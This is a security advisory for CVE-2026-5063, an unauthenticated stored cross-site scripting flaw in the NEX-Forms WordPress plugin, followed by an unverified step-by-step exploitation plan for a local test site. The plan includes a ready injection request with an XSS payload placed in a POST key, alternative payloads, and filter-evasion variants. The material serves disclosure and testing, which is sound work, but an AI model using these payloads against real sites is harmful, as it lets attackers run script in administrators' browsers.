CVE-2026-5063

NEX-Forms <= 9.1.11 - Unauthenticated Stored Cross-Site Scripting via POST Parameter Key Names

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
9.1.12
Patched in
1d
Time to patch

Description

The NEX-Forms – Ultimate Forms Plugin for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via POST parameter key names in the submit_nex_form() function in versions up to, and including, 9.1.11 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=9.1.11
PublishedMay 2, 2026
Last updatedMay 3, 2026

What Changed in the Fix

Changes introduced in v9.1.12

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to exploit **CVE-2026-5063**, a Stored Cross-Site Scripting (XSS) vulnerability in the NEX-Forms plugin. The vulnerability arises because the plugin saves and subsequently renders POST parameter **keys** (names) without sanitization or escaping during form submi…

Show full research plan

This research plan outlines the steps to exploit CVE-2026-5063, a Stored Cross-Site Scripting (XSS) vulnerability in the NEX-Forms plugin. The vulnerability arises because the plugin saves and subsequently renders POST parameter keys (names) without sanitization or escaping during form submission.

1. Vulnerability Summary

  • Vulnerability: Unauthenticated Stored XSS.
  • Location: submit_nex_form() function (typically triggered via wp_ajax_nopriv_submit_nex_form).
  • Sink: Admin dashboard pages where form entries/leads are displayed (e.g., the "Entries" or "Dashboard" view).
  • Cause: The plugin iterates through the $_POST array to store form submission data. It uses the keys of the $_POST array as field labels or identifiers in the database. When an administrator views these submissions, the unsanitized keys are rendered directly into the HTML.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: submit_nex_form
  • Payload Location: The key of a POST parameter.
  • Authentication: None (Unauthenticated).
  • Preconditions: A form must exist in NEX-Forms (usually one is created by default upon installation). We need the nex_forms_Id.

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php?action=submit_nex_form.
  2. Processing: The submit_nex_form() function (residing in the form processing logic) receives the $_POST data.
  3. Iteration: The code likely loops through $_POST using foreach($_POST as $key => $value).
  4. Storage: The $key is stored in the database (typically in the {prefix}wap_nex_forms_entries table) as a field label associated with that entry.
  5. Rendering (The Sink): An administrator navigates to the NEX-Forms dashboard. The function load_form_entries() or populate_form_entry() (found in includes/classes/class.db.php) retrieves the stored entries.
  6. Execution: The dashboard template echoes the stored $key without using esc_html() or esc_attr(), executing the XSS payload in the admin's browser.

4. Nonce Acquisition Strategy

NEX-Forms submission for unauthenticated users typically does not require a nonce to ensure compatibility with page caching plugins (which would otherwise serve stale nonces).

However, the plugin often requires a nex_forms_Id. If a nonce is required for the nopriv action:

  1. Identify Shortcode: The plugin uses shortcodes like [nex_forms id="1"].
  2. Create Test Page: wp post create --post_type=page --post_status=publish --post_content='[nex_forms id="1"]' --post_title='Form Page'
  3. Navigate: Use browser_navigate to the new page.
  4. Extract: Look for localized JS variables. NEX-Forms often uses nf_ajax or similar.
    • Check for window.nex_forms_scripts_obj?.ajaxurl and associated nonces.
    • Based on class.functions.php, check if nex_forms_wpnonce is present in the rendered form HTML.

5. Exploitation Strategy

Step 1: Discover Form ID

List existing forms to find a valid nex_forms_Id.

wp db query "SELECT id, title FROM wp_wap_nex_forms"

Step 2: Craft Injection Request

Send a POST request where the key itself contains the XSS payload. We must include the nex_forms_Id and the action.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=submit_nex_form&nex_forms_Id=1&<svg/onload=alert(`XSS_KEY`)>=test_value&is_not_empty=1
    
    Note: is_not_empty is often a required internal field for NEX-Forms to process the submission.

Step 3: Trigger the XSS

Log in as an administrator and visit the NEX-Forms entries page:

  • URL: http://localhost:8080/wp-admin/admin.php?page=nex-forms-dashboard (or the specific entries view).

6. Test Data Setup

  1. Ensure Plugin is Active: wp plugin activate nex-forms-express-wp-form-builder
  2. Verify Tables: Ensure the wp_wap_nex_forms and wp_wap_nex_forms_entries tables exist.
  3. Create a Form (if none exist):
    # This creates a minimal form entry in the DB
    wp db query "INSERT INTO wp_wap_nex_forms (title, form_code) VALUES ('Exploit Form', 'dummy_code')"
    
  4. Identify ID: Get the ID of the created form (usually 1).

7. Expected Results

  • The admin-ajax.php request should return a success status (often a JSON response or 1).
  • Upon visiting the NEX-Forms dashboard as an admin, an alert box with XSS_KEY should appear.
  • Checking the database will show the payload in the keys/labels column.

8. Verification Steps

  1. Check DB Storage:
    wp db query "SELECT * FROM wp_wap_nex_forms_entries ORDER BY id DESC LIMIT 1"
    
    Confirm that the column containing field mapping includes the string <svg/onload=alert(\XSS_KEY`)>`.
  2. Inspect Response: Use http_request to fetch the admin dashboard and grep for the payload to confirm it is rendered unescaped.
    # Example (requires admin cookies)
    # look for the raw payload in the HTML response
    

9. Alternative Approaches

  • Payload Variations: If <svg> is blocked by a WAF, use <img src=x onerror=alert(1)> or "><script>alert(1)</script>.
  • Parameter keys in different actions: Check if nf_insert_record (authenticated) or other AJAX actions also process keys unsanitized, which could allow a Contributor-level user to escalate to Admin XSS.
  • Submission Method: NEX-Forms sometimes sends data as a single JSON string in a parameter like form_data. If so, the injection would occur inside the JSON keys: {"<img src=x onerror=alert(1)>":"value"}. The vulnerability description, however, points specifically to POST parameter key names.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.